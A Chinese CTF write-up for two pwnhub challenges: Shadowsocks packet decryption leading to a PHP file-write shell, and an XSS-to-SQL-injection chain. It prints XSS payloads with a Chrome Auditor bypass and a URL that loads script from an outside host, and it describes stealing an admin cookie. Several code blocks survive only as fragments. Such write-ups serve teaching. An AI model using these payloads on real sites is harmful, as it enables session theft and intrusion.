安全圈 | 专注于最新网络信息安全讯息新闻

首页

pwnhub第一次線下沙龍競賽web題解析

作者 lervik 时间 2020-03-04
all

Pwnhub在8月12日舉辦了第一次線下沙龍,我也出了兩道Web相關的題目,其中涉及好幾個知識點,這裡說一下。

題目《國家保衛者》

國家保衛者是一道MISC題目,題幹:

Phith0n作為一個國家保衛者,最近發現國際網絡中有一些奇怪的數据包,他取了一個最簡單的(神秘代碼123456),希望能分析出有趣的東西來。https://pwnhub.cn/attachments/170812_okKJICF5RDsF/package.pcapng

考點一、數据包分析

其實題幹很簡單,就是給了個數据包,下載以後用Wireshark打開即可。因為考慮到線下沙龍時間較短,所以我只抓了一個TCP連接,避免一些干擾。

因為我沒明確寫這個數据包是幹嘛的,有的同學做題的時候有點不知所以然。其實最簡單的一個方法,打開數据包,如果Wireshark沒有明確說這是什麼協定的時候,就直接看看目標埠:

8388埠,搜一下就知道默認是什麼服務了。

Shadowsocks數据包解密,這個點其實我2015年已經想出了,但一直我自己沒仔細研究過他的源碼,對其加密的整個流程也不熟悉。後面抽空閱讀了一些源碼,發現其資料流程有一個特點,就是如果傳輸的數據太大的話,還是會對數据包進行分割。

所以,我之前直接把源碼打包後用shadowsocks傳一遍,發現抓下來的包是需要處理才能解密,不太方便,後來就乾脆弄了個302跳轉,然後把目標地址和源碼的檔名放在數据包裏。

找到返回包的Data,然後右鍵匯出:

然後下載Shadowsocks的源碼,其中有一個encrypt.py,雖然整個加密和流量打包的過程比較複雜,但我們只需要調用其中解密的方法即可。

源碼我就不分析了,解密代碼如下(./data.bin是匯出的密文,123456是題幹裏給出的“神秘代碼”,aes-256-cfb是默認加密管道):

./data.bin 123456 aes-256-cfb \A[ _a-zA-Z0-9]+\z file_put_contents(title, content) <?

這就考到PHP的一個小Trick了,我們看看file_put_contents的檔案即可發現:

file_put_contents $title $content Array \A[ _a-zA-Z0-9]+\z

所以最後,發送如下數据包即可成功getshell:

(自豪的說一下,為了防攪屎,我已經把我前段時間寫的PHP沙箱加進來了,所以getshell後只能執行少量函數。最後只要執行一下show_flag()即可獲得Flag)

show_flag() file_put_contents

題目《改行做前端》

這個題目看似是一個前端安全的題目,實際上還考了另一個比較隱蔽的點。

題幹:

Phithon最近考慮改行做前端,這是他寫的第一個頁面:http://54.222.168.105:8065/(所有測試在Chrome 60 +默認配寘下進行)

考點一、XSS綜合利用

這個考點是一個比較普通的點,沒什麼太多障礙。打開頁面,發現下方有一個提交框,直接點提交,即可發現返回如下連結:http://54.222.168.105:8065/?error=驗證碼錯誤

http://54.222.168.105:8065/?error=验证码错误

error這個參數被寫在JavaScript的引號裏,並對引號進行了轉義:

但fuzz一下0-255的所有字元,發現其有如下特徵:

< > <br />

沒有轉義<、>,我們就可以傳入error=</script><script>alert(1)</script>來進行跨站攻擊。但問題是,Chrome默認有XSS篩檢程式,我們需要繞過。

< > error=</script><script>alert(1)</script>

這裡其實就是借用了前幾天@長短短在Twitter上發過的一個繞過Chrome Auditor的技巧:

換行被轉換成<br />後,用上述Payload即可執行任意程式碼。

<br /> } {

最後,構造如下Payload:

將我們需要執行的程式碼base64編碼後放在xxxxxx的位置即可。

漏洞利用

發現了一個XSS,前臺正好有一個可以提交URL的地方,所以,將構造好的Payload提交上去即可。

猜測一下後臺的行為:管理員查看了用戶提交的內容,如果後臺本身沒有XSS的情况下,管理員點擊了我們提交的URL,也能成功利用。

但因為前臺有一個unsafe-inline csp,不能直接加載外部的資源,所以我用連結點擊的管道,將敏感資訊傳出:

另外,因為後臺還有一定的過濾,所以儘量把他們用url編碼一遍。

打到了後臺地址和Cookie:

用該Cookie登入一下:

沒有Flag……gg,

考點二、SQL注入

這題看似僅僅是一個XSS題目,但是我們發現進入後臺並沒有Flag,這是怎麼回事?

回去翻翻數据包,仔細看看,發現我們之前一直忽略了一個東西:

report-uri是CSP中的一個功能,當CSP規則被觸發時,將會向report-uri指向的地址發送一個數据包。其設計目的是讓開發者知道有哪些頁面可能違反CSP,然後去改進他。

比如,我們訪問如下URL:http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(location.hash.substr(1))%3C/script%3E#$.getScript('http://mhz.pw'),這裡加載外部script,違反了CSP,所以瀏覽器發出了一個請求:

http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(location.hash.substr(1))%3C/script%3E#$.getScript('http://mhz.pw') document-uri blocked-uri violated-directive

普通注入,我就不多說了。

注入獲得兩個帳號,其中caibiph的密碼可以解密,直接用這個帳號登入後臺,即可查看到Flag:

caibiph